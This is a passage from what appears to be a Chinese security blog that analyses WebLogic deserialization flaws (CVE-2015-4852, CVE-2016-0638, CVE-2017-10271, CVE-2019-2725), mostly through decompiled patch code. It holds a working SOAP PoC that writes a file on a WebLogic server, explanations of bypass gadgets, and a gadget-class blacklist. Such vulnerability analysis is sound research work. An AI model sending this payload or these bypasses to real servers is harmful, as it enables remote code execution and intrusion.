class="o">}</span> + + <span class="k">if</span> <span class="o">(</span><span class="n">blacklist</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> + <span class="nc">StringTokenizer</span> <span class="n">st</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">StringTokenizer</span><span class="o">(</span><span class="n">blacklist</span><span class="o">,</span> <span class="s">","</span><span class="o">);</span> + + <span class="k">while</span><span class="o">(</span><span class="n">st</span><span class="o">.</span><span class="na">hasMoreTokens</span><span class="o">())</span> <span class="o">{</span> + <span class="nc">String</span> <span class="n">token</span> <span class="o">=</span> <span class="n">st</span><span class="o">.</span><span class="na">nextToken</span><span class="o">();</span> + <span class="k">if</span> <span class="o">(</span><span class="n">token</span><span class="o">.</span><span class="na">startsWith</span><span class="o">(</span><span class="s">"+"</span><span class="o">))</span> <span class="o">{</span> + <span class="n">blacklistSet</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">token</span><span class="o">.</span><span class="na">substring</span><span class="o">(</span><span class="mi">1</span><span class="o">));</span> + <span class="o">}</span> <span class="k">else</span> <span class="k">if</span> <span class="o">(</span><span class="n">token</span><span class="o">.</span><span class="na">startsWith</span><span class="o">(</span><span class="s">"-"</span><span class="o">))</span> <span class="o">{</span> + <span class="n">blacklistSet</span><span class="o">.</span><span class="na">remove</span><span class="o">(</span><span class="n">token</span><span class="o">.</span><span class="na">substring</span><span class="o">(</span><span class="mi">1</span><span class="o">));</span> + <span class="o">}</span> <span class="k">else</span> <span class="o">{</span> + <span class="n">blacklistSet</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">token</span><span class="o">);</span> + <span class="o">}</span> + <span class="o">}</span> + <span class="o">}</span> + + <span class="k">if</span> <span class="o">(</span><span class="n">blacklistSet</span><span class="o">.</span><span class="na">isEmpty</span><span class="o">())</span> <span class="o">{</span> + <span class="n">blacklistSet</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span> + <span class="o">}</span> + <span class="o">}</span> + + <span class="k">this</span><span class="o">.</span><span class="na">BLACKLIST</span> <span class="o">=</span> <span class="n">blacklistSet</span><span class="o">;</span> + <span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 16</em></p> + +<p><code class="language-plaintext highlighter-rouge">blacklist</code>内容来自于<code class="language-plaintext highlighter-rouge">weblogic.rmi.blacklist</code>;前两个来源则比较固定:</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="nc">String</span><span class="o">[]</span> <span class="no">DEFAULT_BLACKLIST_PACKAGES</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">String</span><span class="o">[]{</span><span class="s">"org.apache.commons.collections.functors"</span><span class="o">,</span> <span class="s">"com.sun.org.apache.xalan.internal.xsltc.trax"</span><span class="o">,</span> <span class="s">"javassist"</span><span class="o">,</span> <span class="s">"java.rmi.activation"</span><span class="o">,</span> <span class="s">"sun.rmi.server"</span><span class="o">,</span> <span class="s">"org.jboss.interceptor.builder"</span><span class="o">,</span> <span class="s">"org.jboss.interceptor.reader"</span><span class="o">,</span> <span class="s">"org.jboss.interceptor.proxy"</span><span class="o">,</span> <span class="s">"org.jboss.interceptor.spi.metadata"</span><span class="o">,</span> <span class="s">"org.jboss.interceptor.spi.model"</span><span class="o">,</span> <span class="s">"com.bea.core.repackaged.springframework.aop.aspectj"</span><span class="o">,</span> <span class="s">"com.bea.core.repackaged.springframework.aop.aspectj.annotation"</span><span class="o">,</span> <span class="s">"com.bea.core.repackaged.springframework.aop.aspectj.autoproxy"</span><span class="o">,</span> <span class="s">"com.bea.core.repackaged.springframework.beans.factory.support"</span><span class="o">,</span> <span class="s">"org.python.core"</span><span class="o">};</span> + <span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="nc">String</span><span class="o">[]</span> <span class="no">DEFAULT_BLACKLIST_CLASSES</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">String</span><span class="o">[]{</span><span class="s">"org.codehaus.groovy.runtime.ConvertedClosure"</span><span class="o">,</span> <span class="s">"org.codehaus.groovy.runtime.ConversionHandler"</span><span class="o">,</span> <span class="s">"org.codehaus.groovy.runtime.MethodClosure"</span><span class="o">,</span> <span class="s">"org.springframework.transaction.support.AbstractPlatformTransactionManager"</span><span class="o">,</span> <span class="s">"java.rmi.server.UnicastRemoteObject"</span><span class="o">,</span> <span class="s">"java.rmi.server.RemoteObjectInvocationHandler"</span><span class="o">,</span> <span class="s">"com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager"</span><span class="o">,</span> <span class="s">"java.rmi.server.RemoteObject"</span><span class="o">};</span> +</code></pre></div></div> + +<p>​ <em>信息 17</em></p> + +<p>以上就是blacklist的内容,而JRE自带的部分本文暂未介绍(应该是在后面的漏洞中添加的机制),可以见<code class="language-plaintext highlighter-rouge">参考 4</code>。</p> + +<p>对于本文所用PoC,在反序列化的时候,<code class="language-plaintext highlighter-rouge">weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream</code>中的<code class="language-plaintext highlighter-rouge">resolveClass</code>函数会将PoC中使用的<code class="language-plaintext highlighter-rouge">org.apache.commons.collections.functors</code>包判断为黑。</p> + +<h2 id="0x05-绕过">0x05 绕过</h2> + +<p>后来又出现了<code class="language-plaintext highlighter-rouge">CVE-2016-0638</code>,这里不多讲,这个CVE其实就是找到了一个新的反序列化点,在<code class="language-plaintext highlighter-rouge">weblogic.jms.common.StreamMessageImpl</code>里的 <code class="language-plaintext highlighter-rouge">readExternal()</code>,<code class="language-plaintext highlighter-rouge">readExternal()</code>有新的<code class="language-plaintext highlighter-rouge">ObjectInputStream</code>和<code class="language-plaintext highlighter-rouge">readObject</code>,把原来的InputStream里面的下一个chunk作为反序列化数据处理了,关键是这里的<code class="language-plaintext highlighter-rouge">ObjectInputStream</code>未添加黑名单匹配,相当于是二次反序列化了。</p> + +<h2 id="0x06-参考">0x06 参考</h2> + +<ol> + <li>“深入理解 JAVA 反序列化漏洞” _https://paper.seebug.org/312/</li> + <li>“CVE-2015-4852 Weblogic 反序列化RCE分析” _https://www.chabug.org/audit/1151.html</li> + <li>“ysoserial” _https://github.com/frohoff/ysoserial</li> + <li>“从WebLogic看反序列化漏洞的利用与防御” _https://blog.csdn.net/Fly_hps/article/details/83505036</li> + <li>“缝缝补补的WebLogic:绕过的艺术” _https://www.freebuf.com/vuls/179579.html</li> + <li>“浅析 Java 序列化和反序列化” _https://paper.seebug.org/792/</li> +</ol>Weblogic T3反序列化开篇:CVE-2015-4852Xmldecoder rce变种2020-01-26T00:00:00+00:002020-01-26T00:00:00+00:00/2020/01/26/XMLDecoder%20RCE%E5%8F%98%E7%A7%8D<p>#XMLDecoder RCE变种 +##0x00 描述</p> + +<p>继前一篇《XMLDecoder RCE起源》介绍的CVE-2017-3506后,官方发布了补丁,但是补丁过于简单,于是很快出现了CVE-2017-10271;官方补完CVE-2017-10271后,又出现了CVE-2019-2725,于是又发补丁。</p> + +<p>本文简单介绍自起源之后的两个变种,分别是CVE-2017-10271和CVE-2017-2725。</p> + +<h2 id="0x01-变种一-cve-2017-10271">0x01 变种一: CVE-2017-10271</h2> + +<h3 id="1-cve-2017-3506补丁的问题">1. CVE-2017-3506补丁的问题</h3> + +<p>先看看3506的补丁:</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="nf">WorkContextXmlInputAdapter</span><span class="o">(</span><span class="nc">InputStream</span> <span class="n">is</span><span class="o">)</span> <span class="o">{</span> + <span class="nc">ByteArrayOutputStream</span> <span class="n">baos</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ByteArrayOutputStream</span><span class="o">();</span> + + <span class="k">try</span> <span class="o">{</span> + <span class="kt">int</span> <span class="n">next</span> <span class="o">=</span> <span class="kc">false</span><span class="o">;</span> + + <span class="k">for</span><span class="o">(</span><span class="kt">int</span> <span class="n">next</span> <span class="o">=</span> <span class="n">is</span><span class="o">.</span><span class="na">read</span><span class="o">();</span> <span class="n">next</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="o">;</span> <span class="n">next</span> <span class="o">=</span> <span class="n">is</span><span class="o">.</span><span class="na">read</span><span class="o">())</span> <span class="o">{</span> + <span class="n">baos</span><span class="o">.</span><span class="na">write</span><span class="o">(</span><span class="n">next</span><span class="o">);</span> + <span class="o">}</span> + <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">var4</span><span class="o">)</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="s">"Failed to get data from input stream"</span><span class="o">,</span> <span class="n">var4</span><span class="o">);</span> + <span class="o">}</span> + + <span class="k">this</span><span class="o">.</span><span class="na">validate</span><span class="o">(</span><span class="k">new</span> <span class="nc">ByteArrayInputStream</span><span class="o">(</span><span class="n">baos</span><span class="o">.</span><span class="na">toByteArray</span><span class="o">()));</span> + <span class="k">this</span><span class="o">.</span><span class="na">xmlDecoder</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">XMLDecoder</span><span class="o">(</span><span class="k">new</span> <span class="nc">ByteArrayInputStream</span><span class="o">(</span><span class="n">baos</span><span class="o">.</span><span class="na">toByteArray</span><span class="o">()));</span> +<span class="o">}</span> + +<span class="kd">private</span> <span class="kt">void</span> <span class="nf">validate</span><span class="o">(</span><span class="nc">InputStream</span> <span class="n">is</span><span class="o">)</span> <span class="o">{</span> + <span class="nc">WebLogicSAXParserFactory</span> <span class="n">factory</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">WebLogicSAXParserFactory</span><span class="o">();</span> + + <span class="k">try</span> <span class="o">{</span> + <span class="nc">SAXParser</span> <span class="n">parser</span> <span class="o">=</span> <span class="n">factory</span><span class="o">.</span><span class="na">newSAXParser</span><span class="o">();</span> + <span class="n">parser</span><span class="o">.</span><span class="na">parse</span><span class="o">(</span><span class="n">is</span><span class="o">,</span> <span class="k">new</span> <span class="nc">DefaultHandler</span><span class="o">()</span> <span class="o">{</span> + <span class="kd">public</span> <span class="kt">void</span> <span class="nf">startElement</span><span class="o">(</span><span class="nc">String</span> <span class="n">uri</span><span class="o">,</span> <span class="nc">String</span> <span class="n">localName</span><span class="o">,</span> <span class="nc">String</span> <span class="n">qName</span><span class="o">,</span> <span class="nc">Attributes</span> <span class="n">attributes</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">SAXException</span> <span class="o">{</span> + <span class="k">if</span> <span class="o">(</span><span class="n">qName</span><span class="o">.</span><span class="na">equalsIgnoreCase</span><span class="o">(</span><span class="s">"object"</span><span class="o">))</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="s">"Invalid context type: object"</span><span class="o">);</span> + <span class="o">}</span> + <span class="o">}</span> + <span class="o">});</span> + <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">SAXException</span> <span class="o">|</span> <span class="nc">IOException</span> <span class="o">|</span> <span class="nc">ParserConfigurationException</span> <span class="n">var5</span><span class="o">)</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="s">"Parser Exception"</span><span class="o">,</span> <span class="n">var5</span><span class="o">);</span> + <span class="o">}</span> +<span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 1</em></p> + +<p>这个补丁主要是在<code class="language-plaintext highlighter-rouge">WorkContextXmlInputAdapter</code>构造函数里面增加了一个验证的代码,验证的逻辑也非常简单:使用SAX解析XML,只要发现有标签是<code class="language-plaintext highlighter-rouge">object</code>直接异常退出。</p> + +<p>这个补丁针对之前3506的PoC是有效的,但是后来有人发现了新的XML书写方法,可以绕过这个补丁。</p> + +<h3 id="2-poc">2. PoC</h3> + +<p>Post URL: http://172.16.100.97:7001/wls-wsat/CoordinatorPortType</p> + +<p>Post Body:</p> + +<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nt">&lt;soapenv:Envelope</span> <span class="na">xmlns:soapenv=</span><span class="s">"http://schemas.xmlsoap.org/soap/envelope/"</span><span class="nt">&gt;</span> + <span class="nt">&lt;soapenv:Header&gt;</span> + <span class="nt">&lt;work:WorkContext</span> <span class="na">xmlns:work=</span><span class="s">"http://bea.com/2004/06/soap/workarea/"</span><span class="nt">&gt;</span> + <span class="nt">&lt;java</span> <span class="na">version=</span><span class="s">"1.6.0"</span> <span class="na">class=</span><span class="s">"java.beans.XMLDecoder"</span><span class="nt">&gt;</span> + <span class="nt">&lt;void</span> <span class="na">class=</span><span class="s">"java.io.PrintWriter"</span><span class="nt">&gt;</span> + <span class="nt">&lt;string&gt;</span>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt<span class="nt">&lt;/string&gt;&lt;void</span> <span class="na">method=</span><span class="s">"println"</span><span class="nt">&gt;</span> + <span class="nt">&lt;string&gt;</span>xmldecoder_vul_test444<span class="nt">&lt;/string&gt;&lt;/void&gt;&lt;void</span> <span class="na">method=</span><span class="s">"close"</span><span class="nt">/&gt;</span> + <span class="nt">&lt;/void&gt;</span> + <span class="nt">&lt;/java&gt;</span> + <span class="nt">&lt;/work:WorkContext&gt;</span> + <span class="nt">&lt;/soapenv:Header&gt;</span> + <span class="nt">&lt;soapenv:Body/&gt;</span> + <span class="nt">&lt;/soapenv:Envelope&gt;</span> +</code></pre></div></div> +<p>​ <em>信息 2</em></p> + +<p>可以看到这个PoC和CVE-2017-3506的唯一区别就是,将<code class="language-plaintext highlighter-rouge">object</code>标签换成了<code class="language-plaintext highlighter-rouge">void</code>。</p> + +<p>翻一下JDK里面关于<code class="language-plaintext highlighter-rouge">object</code>标签和<code class="language-plaintext highlighter-rouge">void</code>标签的区别:</p> + +<p><code class="language-plaintext highlighter-rouge">com/sun/beans/decoder/VoidElementHandler.java</code></p> + +<pre><code class="language-Java">final class VoidElementHandler extends ObjectElementHandler { + + /** + * Tests whether the value of this element can be used + * as an argument of the element that contained in this one. + * + * @return {@code true} if the value of this element should be used + * as an argument of the element that contained in this one, + * {@code false} otherwise + */ + @Override + protected boolean isArgument() { + return false; // hack for compatibility + } +} +</code></pre> + +<p>​ <em>信息 3</em></p> + +<p>可以看到<code class="language-plaintext highlighter-rouge">void</code>标签的处理方法就是继承自<code class="language-plaintext highlighter-rouge">object</code>标签,所以才会有相同的效果。</p> + +<p>###</p> + +<h2 id="0x02-变种二-cve-2019-2725">0x02 变种二: CVE-2019-2725</h2> + +<h3 id="1-cve-2017-10271补丁的问题">1. CVE-2017-10271补丁的问题</h3> + +<p>先看看补丁代码:</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="nf">WorkContextXmlInputAdapter</span><span class="o">(</span><span class="nc">InputStream</span> <span class="n">var1</span><span class="o">)</span> <span class="o">{</span> + + <span class="nc">ByteArrayOutputStream</span> <span class="n">var2</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ByteArrayOutputStream</span><span class="o">();</span> + + <span class="k">try</span> <span class="o">{</span> + + <span class="kt">boolean</span> <span class="n">var3</span> <span class="o">=</span> <span class="kc">false</span><span class="o">;</span> + + <span class="k">for</span><span class="o">(</span><span class="kt">int</span> <span class="n">var5</span> <span class="o">=</span> <span class="n">var1</span><span class="o">.</span><span class="na">read</span><span class="o">();</span> <span class="n">var5</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="o">;</span> <span class="n">var5</span> <span class="o">=</span> <span class="n">var1</span><span class="o">.</span><span class="na">read</span><span class="o">())</span> <span class="o">{</span> + <span class="n">var2</span><span class="o">.</span><span class="na">write</span><span class="o">(</span><span class="n">var5</span><span class="o">);</span> + <span class="o">}</span> + + <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">var4</span><span class="o">)</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="err">“</span><span class="nc">Failed</span> <span class="n">to</span> <span class="n">get</span> <span class="n">data</span> <span class="n">from</span> <span class="n">input</span> <span class="n">stream</span><span class="err">”</span><span class="o">,</span> <span class="n">var4</span><span class="o">);</span> + <span class="o">}</span> + + <span class="k">this</span><span class="o">.</span><span class="na">validate</span><span class="o">(</span><span class="k">new</span> <span class="nc">ByteArrayInputStream</span><span class="o">(</span><span class="n">var2</span><span class="o">.</span><span class="na">toByteArray</span><span class="o">()));</span> + + <span class="k">this</span><span class="o">.</span><span class="na">xmlDecoder</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">XMLDecoder</span><span class="o">(</span><span class="k">new</span> <span class="nc">ByteArrayInputStream</span><span class="o">(</span><span class="n">var2</span><span class="o">.</span><span class="na">toByteArray</span><span class="o">()));</span> + + <span class="o">}</span> + + <span class="kd">private</span> <span class="kt">void</span> <span class="nf">validate</span><span class="o">(</span><span class="nc">InputStream</span> <span class="n">var1</span><span class="o">)</span> <span class="o">{</span> + + <span class="nc">WebLogicSAXParserFactory</span> <span class="n">var2</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">WebLogicSAXParserFactory</span><span class="o">();</span> + + <span class="k">try</span> <span class="o">{</span> + + <span class="nc">SAXParser</span> <span class="n">var3</span> <span class="o">=</span> <span class="n">var2</span><span class="o">.</span><span class="na">newSAXParser</span><span class="o">();</span> + + <span class="n">var3</span><span class="o">.</span><span class="na">parse</span><span class="o">(</span><span class="n">var1</span><span class="o">,</span> <span class="k">new</span> <span class="nc">DefaultHandler</span><span class="o">()</span> <span class="o">{</span> + + <span class="kd">private</span> <span class="kt">int</span> <span class="n">overallarraylength</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> + + <span class="kd">public</span> <span class="kt">void</span> <span class="nf">startElement</span><span class="o">(</span><span class="nc">String</span> <span class="n">var1</span><span class="o">,</span> <span class="nc">String</span> <span class="n">var2</span><span class="o">,</span> <span class="nc">String</span> <span class="n">var3</span><span class="o">,</span> <span class="nc">Attributes</span> <span class="n">var4</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">SAXException</span> <span class="o">{</span> + + <span class="k">if</span> <span class="o">(</span><span class="n">var3</span><span class="o">.</span><span class="na">equalsIgnoreCase</span><span class="o">(</span><span class="err">“</span><span class="n">object</span><span class="err">”</span><span class="o">))</span> <span class="o">{</span> + + <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="err">“</span><span class="nc">Invalid</span> <span class="n">element</span> <span class="nl">qName:</span><span class="n">object</span><span class="err">”</span><span class="o">);</span> + + <span class="o">}</span> <span class="k">else</span> <span class="k">if</span> <span class="o">(</span><span class="n">var3</span><span class="o">.</span><span class="na">equalsIgnoreCase</span><span class="o">(</span><span class="err">“</span><span class="k">new</span><span class="err">”</span><span class="o">))</span> <span class="o">{</span> + + <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="err">“</span><span class="nc">Invalid</span> <span class="n">element</span> <span class="nl">qName:</span><span class="k">new</span><span class="err">”</span><span class="o">);</span> + + <span class="o">}</span> <span class="k">else</span> <span class="k">if</span> <span class="o">(</span><span class="n">var3</span><span class="o">.</span><span class="na">equalsIgnoreCase</span><span class="o">(</span><span class="err">“</span><span class="n">method</span><span class="err">”</span><span class="o">))</span> <span class="o">{</span> + + <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="err">“</span><span class="nc">Invalid</span> <span class="n">element</span> <span class="nl">qName:</span><span class="n">method</span><span class="err">”</span><span class="o">);</span> + + <span class="o">}</span> <span class="k">else</span> <span class="o">{</span> + + <span class="k">if</span> <span class="o">(</span><span class="n">var3</span><span class="o">.</span><span class="na">equalsIgnoreCase</span><span class="o">(</span><span class="err">“</span><span class="kt">void</span><span class="err">”</span><span class="o">))</span> <span class="o">{</span> + + <span class="k">for</span><span class="o">(</span><span class="kt">int</span> <span class="n">var5</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">var5</span> <span class="o">&lt;</span> <span class="n">var4</span><span class="o">.</span><span class="na">getLength</span><span class="o">();</span> <span class="o">++</span><span class="n">var5</span><span class="o">)</span> <span class="o">{</span> + + <span class="k">if</span> <span class="o">(!</span><span class="err">”</span><span class="n">index</span><span class="err">”</span><span class="o">.</span><span class="na">equalsIgnoreCase</span><span class="o">(</span><span class="n">var4</span><span class="o">.</span><span class="na">getQName</span><span class="o">(</span><span class="n">var5</span><span class="o">)))</span> <span class="o">{</span> + + <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="err">“</span><span class="nc">Invalid</span> <span class="n">attribute</span> <span class="k">for</span> <span class="n">element</span> <span class="kt">void</span><span class="o">:</span><span class="err">”</span> <span class="o">+</span> <span class="n">var4</span><span class="o">.</span><span class="na">getQName</span><span class="o">(</span><span class="n">var5</span><span class="o">));</span> + + <span class="o">}</span> + + <span class="o">}</span> + + <span class="o">}</span> + + <span class="k">if</span> <span class="o">(</span><span class="n">var3</span><span class="o">.</span><span class="na">equalsIgnoreCase</span><span class="o">(</span><span class="err">“</span><span class="n">array</span><span class="err">”</span><span class="o">))</span> <span class="o">{</span> + + <span class="nc">String</span> <span class="n">var9</span> <span class="o">=</span> <span class="n">var4</span><span class="o">.</span><span class="na">getValue</span><span class="o">(</span><span class="err">“</span><span class="kd">class</span><span class="err">”);</span> + + <span class="nc">if</span> <span class="o">(</span><span class="n">var9</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">var9</span><span class="o">.</span><span class="na">equalsIgnoreCase</span><span class="o">(</span><span class="err">“</span><span class="kt">byte</span><span class="err">”</span><span class="o">))</span> <span class="o">{</span> + + <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="err">“</span><span class="nc">The</span> <span class="n">value</span> <span class="n">of</span> <span class="kd">class</span> <span class="nc">attribute</span> <span class="n">is</span> <span class="n">not</span> <span class="n">valid</span> <span class="k">for</span> <span class="n">array</span> <span class="n">element</span><span class="o">.</span><span class="err">”</span><span class="o">);</span> + + <span class="o">}</span> + + <span class="nc">String</span> <span class="n">var6</span> <span class="o">=</span> <span class="n">var4</span><span class="o">.</span><span class="na">getValue</span><span class="o">(</span><span class="err">“</span><span class="n">length</span><span class="err">”</span><span class="o">);</span> + + <span class="k">if</span> <span class="o">(</span><span class="n">var6</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> + + <span class="k">try</span> <span class="o">{</span> + + <span class="kt">int</span> <span class="n">var7</span> <span class="o">=</span> <span class="nc">Integer</span><span class="o">.</span><span class="na">valueOf</span><span class="o">(</span><span class="n">var6</span><span class="o">);</span> + + <span class="k">if</span> <span class="o">(</span><span class="n">var7</span> <span class="o">&gt;=</span> <span class="nc">WorkContextXmlInputAdapter</span><span class="o">.</span><span class="na">MAXARRAYLENGTH</span><span class="o">)</span> <span class="o">{</span> + + <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="err">“</span><span class="nc">Exceed</span> <span class="n">array</span> <span class="n">length</span> <span class="n">limitation</span><span class="err">”</span><span class="o">);</span> + <span class="o">}</span> + + <span class="k">this</span><span class="o">.</span><span class="na">overallarraylength</span> <span class="o">+=</span> <span class="n">var7</span><span class="o">;</span> + + <span class="k">if</span> <span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">overallarraylength</span> <span class="o">&gt;=</span> <span class="nc">WorkContextXmlInputAdapter</span><span class="o">.</span><span class="na">OVERALLMAXARRAYLENGTH</span><span class="o">)</span> <span class="o">{</span> + + <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="err">“</span><span class="nc">Exceed</span> <span class="n">over</span> <span class="n">all</span> <span class="n">array</span> <span class="n">limitation</span><span class="o">.</span><span class="err">”</span><span class="o">);</span> + + <span class="o">}</span> + + <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">NumberFormatException</span> <span class="n">var8</span><span class="o">)</span> <span class="o">{</span> + <span class="o">;</span> + <span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 4</em></p> + +<p>补丁限制了标签名不能是<code class="language-plaintext highlighter-rouge">object</code>,<code class="language-plaintext highlighter-rouge">new</code>,<code class="language-plaintext highlighter-rouge">method</code>。并且,如果是<code class="language-plaintext highlighter-rouge">void</code>,那么后面跟的属性名只能是<code class="language-plaintext highlighter-rouge">index</code>;如果是<code class="language-plaintext highlighter-rouge">array</code>,后面可以跟<code class="language-plaintext highlighter-rouge">class</code>属性,但是<code class="language-plaintext highlighter-rouge">class</code>的类型只能是<code class="language-plaintext highlighter-rouge">byte</code>,并且<code class="language-plaintext highlighter-rouge">array</code>后面如果有长度<code class="language-plaintext highlighter-rouge">length</code>,那么<code class="language-plaintext highlighter-rouge">length</code>的值也做了限制(&lt;MAXARRAYLENGTH),且整个xml的<code class="language-plaintext highlighter-rouge">length</code>累加值也做了限制(&lt;OVERALLMAXARRAYLENGTH)。</p> + +<h3 id="2-poc-1">2. PoC</h3> + +<p>根据公开信息<code class="language-plaintext highlighter-rouge">参考 3</code>,使用了<code class="language-plaintext highlighter-rouge">class</code>标签以及<code class="language-plaintext highlighter-rouge">oracle.toplink.internal.sessions.UnitOfWorkChangeSet</code>。</p> + +<p>这样的组合方式可以绕过补丁的原因是,<code class="language-plaintext highlighter-rouge">class</code>标签没有被过滤,但也只有<code class="language-plaintext highlighter-rouge">class</code>标签,可以生成实例,但不能调用方法,因为<code class="language-plaintext highlighter-rouge">method</code>被禁用了。所以思路被固定了,只有一个类的实例可以被构造,即某个类的构造函数可以被执行。</p> + +<p>于是,<code class="language-plaintext highlighter-rouge">UnitOfWorkChangeSet</code>这个类被找出来了,看看这个类的构造函数代码:</p> + +<p><code class="language-plaintext highlighter-rouge">oracle/toplink/internal/sessions/UnitOfWorkChangeSet.class</code></p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="nf">UnitOfWorkChangeSet</span><span class="o">(</span><span class="kt">byte</span><span class="o">[]</span> <span class="n">bytes</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span><span class="o">,</span> <span class="nc">ClassNotFoundException</span> <span class="o">{</span> + <span class="nc">ByteArrayInputStream</span> <span class="n">byteIn</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ByteArrayInputStream</span><span class="o">(</span><span class="n">bytes</span><span class="o">);</span> + <span class="nc">ObjectInputStream</span> <span class="n">objectIn</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ObjectInputStream</span><span class="o">(</span><span class="n">byteIn</span><span class="o">);</span> + <span class="k">this</span><span class="o">.</span><span class="na">allChangeSets</span> <span class="o">=</span> <span class="o">(</span><span class="nc">IdentityHashtable</span><span class="o">)</span><span class="n">objectIn</span><span class="o">.</span><span class="na">readObject</span><span class="o">();</span> + <span class="k">this</span><span class="o">.</span><span class="na">deletedObjects</span> <span class="o">=</span> <span class="o">(</span><span class="nc">IdentityHashtable</span><span class="o">)</span><span class="n">objectIn</span><span class="o">.</span><span class="na">readObject</span><span class="o">();</span> +<span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 5</em></p> + +<p>构造函数直接将输入的数据反序列化,且满足array+byte限制,所以只要能找到一个可用的gadget即可,可以参考ysoserial项目。</p> + +<p>最终构造的PoC类似如下(见<code class="language-plaintext highlighter-rouge">参考 2</code>):</p> + +<p><img src="/images/Weblogic/image-20200131210600589.png" alt="image-20200131210600589" /></p> + +<p>​ 信息 6</p> + +<p>另外还有一些其他的方法,比如<code class="language-plaintext highlighter-rouge">参考 2</code>中提到的<code class="language-plaintext highlighter-rouge">org.slf4j.ext.EventData</code></p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kd">public</span> <span class="nf">EventData</span><span class="o">(</span><span class="nc">String</span> <span class="n">xml</span><span class="o">)</span> <span class="o">{</span> + + <span class="nc">ByteArrayInputStream</span> <span class="n">bais</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ByteArrayInputStream</span><span class="o">(</span><span class="n">xml</span><span class="o">.</span><span class="na">getBytes</span><span class="o">());</span> + + + + <span class="k">try</span> <span class="o">{</span> + + <span class="nc">XMLDecoder</span> <span class="n">decoder</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">XMLDecoder</span><span class="o">(</span><span class="n">bais</span><span class="o">);</span> + + <span class="k">this</span><span class="o">.</span><span class="na">eventData</span> <span class="o">=</span> <span class="o">(</span><span class="nc">Map</span><span class="o">)</span><span class="n">decoder</span><span class="o">.</span><span class="na">readObject</span><span class="o">();</span> + + <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">var4</span><span class="o">)</span> <span class="o">{</span> + + <span class="k">throw</span> <span class="k">new</span> <span class="nf">EventException</span><span class="o">(</span><span class="err">“</span><span class="nc">Error</span> <span class="n">decoding</span> <span class="err">”</span> <span class="o">+</span> <span class="n">xml</span><span class="o">,</span> <span class="n">var4</span><span class="o">);</span> + + <span class="o">}</span> + + <span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 7</em></p> + +<p>相当的简单粗暴,二次XMLDecoder。</p> + +<h3 id="3-补丁">3. 补丁</h3> + +<p>参考代码如下:</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span 